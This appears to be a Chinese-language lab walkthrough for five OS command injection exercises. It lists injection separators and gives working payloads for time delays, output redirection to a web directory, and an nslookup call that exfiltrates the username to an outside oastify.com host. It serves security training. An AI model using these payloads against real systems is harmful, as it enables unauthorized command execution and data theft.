OS command injection
常见注入方式
- 分号分割
||&&&分割|管道符\r\n%d0%a0换行- 反引号解析
$()替换
1. OS command injection, simple case
OS命令注入,简单案例
**目标:**执行命令以确定当前用户的名称。whoami
过程:
用 burp 拦截数据包,有两个参数分别是产品和商店
Post 设置参数,whoami 命令用于显示自身用户名称
1 | 1 & whoami # |


2. Blind OS command injection with time delays
具有时间延迟的盲操作系统命令注入
**目标:**通过 sleep 10 秒判断出问题所在
过程:
在“反馈”界面抓包处理,分别测试name email等参数
1 | +%26+sleep+10+%23 |

3. Blind OS command injection with output redirection
带有输出重定向的盲操作系统命令注入
**目标:**通过 whomi 命令,输出重定向到/var/www/images/
过程:
在“反馈”界面抓包处理,分别测试name email等参数
让应用程序在输出响应之前休眠 10 秒,来确认是否有盲注命令注入,测试后发现易受攻击的字段是email
可通过 F12 把 emali 的 type 改为 text,以此绕过前端检查,来提交反馈
在电子邮箱处填写& whoami > /var/www/images/ling.txt #,执行 whoami 命令,将内容保存在 ling.txt
访问图片网址,修改文件名成 ling.txt
1 | # 等待十秒 |


4. Blind OS command injection with out-of-band interaction
带有带外交互的盲操作系统命令注入
**目标:**利用盲操作系统命令注入漏洞向 Burp 协作者发出 DNS 查找
过程:
需要 Burp pro 而不是社区版,利用 nslookup 命令去外带出回显
nslookup 命令用于查询DNS的记录,查看域名解析是否正常,在网络故障的时候用来诊断网络问题
1 | +%26+nslookup+bl0lvdghtfv8hqndmhnfu63e258vwk.oastify.com+%23 |


5. Blind OS command injection with out-of-band data exfiltration
带外数据泄露的盲 OS 命令注入
启用 Burp Collaborator client,复制到剪贴板;拦截和修改提交反馈的请求,修改 email 参数
1 | & nslookup `whoami`.kg4mmv2y7ie1qqgamf1tjgf7aygo4d.oastify.com # |
最后,在 burp 的子域名中,可以看到 DNS 交互,获得当前用户名

0